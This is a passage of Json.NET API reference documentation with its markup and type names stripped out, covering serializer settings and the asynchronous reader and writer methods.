handling. Gets or sets how type name writing and reading is handled by the serializer. The default value is . should be used with caution when your application deserializes JSON from an external source. Incoming types should be validated with a custom when deserializing with a value other than . The type name handling. Gets or sets how metadata properties are used during deserialization. The default value is . The metadata properties handling. Gets or sets how a type name assembly is written and resolved by the serializer. The default value is . The type name assembly format. Gets or sets how a type name assembly is written and resolved by the serializer. The default value is . The type name assembly format. Gets or sets how constructors are used during deserialization. The default value is . The constructor handling. Gets or sets the contract resolver used by the serializer when serializing .NET objects to JSON and vice versa. The contract resolver. Gets or sets the equality comparer used by the serializer when comparing references. The equality comparer. Gets or sets the used by the serializer when resolving references. The reference resolver. Gets or sets a function that creates the used by the serializer when resolving references. A function that creates the used by the serializer when resolving references. Gets or sets the used by the serializer when writing trace messages. The trace writer. Gets or sets the used by the serializer when resolving type names. The binder. Gets or sets the used by the serializer when resolving type names. The binder. Gets or sets the error handler called during serialization and deserialization. The error handler called during serialization and deserialization. Gets or sets the used by the serializer when invoking serialization callback methods. The context. Gets or sets how and values are formatted when writing JSON text, and the expected date format when reading JSON text. The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . A null value means there is no maximum. The default value is 128. Indicates how JSON text output is formatted. The default value is . Gets or sets how dates are written to JSON text. The default value is . Gets or sets how time zones are handled during serialization and deserialization. The default value is . Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. The default value is . Gets or sets how special floating point numbers, e.g. , and , are written as JSON. The default value is . Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. The default value is . Gets or sets how strings are escaped when writing JSON text. The default value is . Gets or sets the culture used when reading JSON. The default value is . Gets a value indicating whether there will be a check for additional content after deserializing an object. The default value is false. true if there will be a check for additional content after deserializing an object; otherwise, false. Initializes a new instance of the class. Represents a reader that provides fast, non-cached, forward-only access to JSON text data. Asynchronously reads the next JSON token from the source. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns true if the next token was read successfully; false if there are no more tokens to read. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously reads the next JSON token from the source as a []. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the []. This result will be null at the end of an array. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously reads the next JSON token from the source as a . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the . This result will be null at the end of an array. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Initializes a new instance of the class with the specified . The containing the JSON data to read. Gets or sets the reader's property name table. Gets or sets the reader's character buffer pool. Reads the next JSON token from the underlying . true if the next token was read successfully; false if there are no more tokens to read. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a . A . This method will return null at the end of an array. Reads the next JSON token from the underlying as a []. A [] or null if the next JSON token is null. This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Changes the reader's state to . If is set to true, the underlying is also closed. Gets a value indicating whether the class can return line information. true if and can be provided; otherwise, false. Gets the current line number. The current line number or 0 if no line information is available (for example, returns false). Gets the current line position. The current line position or 0 if no line information is available (for example, returns false). Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the JSON value delimiter. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the specified end token. The end token to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously closes this writer. If is set to true, the destination is also closed. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the end of the current JSON object or array. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes indent characters. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes an indent space. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes raw JSON without changing the writer's state. The raw JSON to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a null value. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the property name of a name/value pair of a JSON object. The name of the property. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the property name of a name/value pair of a JSON object. The name of the property. A flag to indicate whether the text should be escaped when it is written as a JSON property name. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the beginning of a JSON array. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the beginning of a JSON object. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the start of a constructor with the given name. The name of the constructor. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes an undefined value. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the given white space. The string of white space characters. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a [] value. The [] value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a comment /*...*/ containing the specified text. Text to place inside the comment. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the end of an array. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the end of a constructor. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the end of a JSON object. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes raw JSON where a value is expected and updates the writer's state. The raw JSON to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Gets or sets the writer's character array pool. Gets or sets how many s to write for each level in the hierarchy when is set to . Gets or sets which character to use to quote attribute values. Gets or sets which character to use for indenting when is set to . Gets or sets a value indicating whether object names will be surrounded with quotes. Initializes a new instance of the class using the specified . The to write to. Flushes whatever is in the buffer to the underlying and also flushes the underlying . Closes this writer. If is set to true, the underlying is also closed. If is set to true, the JSON is auto-completed. Writes the beginning of a JSON object. Writes the beginning of a JSON array. Writes the start of a constructor with the given name. The name of the constructor. Writes the specified end token. The end token to write. Writes the property name of a name/value pair on a JSON object. The name of the property. Writes the property name of a name/value pair on a JSON object. The name of the property. A flag to indicate whether the text should be escaped when it is written as a JSON property name. Writes indent characters. Writes the JSON value delimiter. Writes an indent space. Writes a value. An error will raised if the value cannot be written as a single JSON token. The value to write. Writes a null value. Writes an undefined value. Writes raw JSON. The raw JSON to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a of value. The of value to write. Writes a value. The value to write. Writes a of value. The of value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a [] value. The [] value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a comment /*...*/ containing the specified text. Text to place inside the comment. Writes the given white space. The string of white space characters. Specifies the type of JSON token. This is returned by the if a read method has not been called. An object start token. An array start token. A constructor start token. An object property name. A comment. Raw JSON. An integer. A float. A string. A boolean. A null token. An undefined token. An object end token. An array end token. A constructor end token. A Date. Byte data. Represents a reader that provides validation. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Sets an event handler for receiving schema validation errors. Gets the text value of the current JSON token. Gets the depth of the current token in the JSON document. The depth of the current token in the JSON document. Gets the path of the current JSON token. Gets the quotation mark character used to enclose the value of a string. Gets the type of the current JSON token. Gets the .NET type for the current JSON token. Initializes a new instance of the class that validates the content returned from the given . The to read from while validating. Gets or sets the schema. The schema. Gets the used to construct this . The specified in the constructor. Changes the reader's state to . If is set to true, the underlying is also closed. Reads the next JSON token from the underlying as a of . A of . Reads the next JSON token from the underlying as a []. A [] or null if the next JSON token is null. Reads the next JSON token from the underlying as a of . A of . Reads the next JSON token from the underlying as a of . A of . Reads the next JSON token from the underlying as a of . A of . Reads the next JSON token from the underlying as a . A . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . Reads the next JSON token from the underlying . true if the next token was read successfully; false if there are no more tokens to read. Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. Asynchronously closes this writer. If is set to true, the destination is also closed. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the specified end token. The end token to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes indent characters. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the JSON value delimiter. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes an indent space. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes raw JSON without changing the writer's state. The raw JSON to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the end of the current JSON object or array. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the end of an array. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the end of a constructor. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the end of a JSON object. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a null value. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the property name of a name/value pair of a JSON object. The name of the property. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the property name of a name/value pair of a JSON object. The name of the property. A flag to indicate whether the text should be escaped when it is written as a JSON property name. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the beginning of a JSON array. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a comment /*...*/ containing the specified text. Text to place inside the comment. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes raw JSON where a value is expected and updates the writer's state. The raw JSON to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the start of a constructor with the given name. The name of the constructor. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the beginning of a JSON object. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the current token. The to read the token from. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the current token. The to read the token from. A flag indicating whether the current token's children should be written. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the token and its value. The to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the token and its value. The to write. The value to write. A value is only required for tokens that have an associated value, e.g. the property name for . null can be passed to the method for tokens that don't have a value, e.g. . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a [] value. The [] value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning 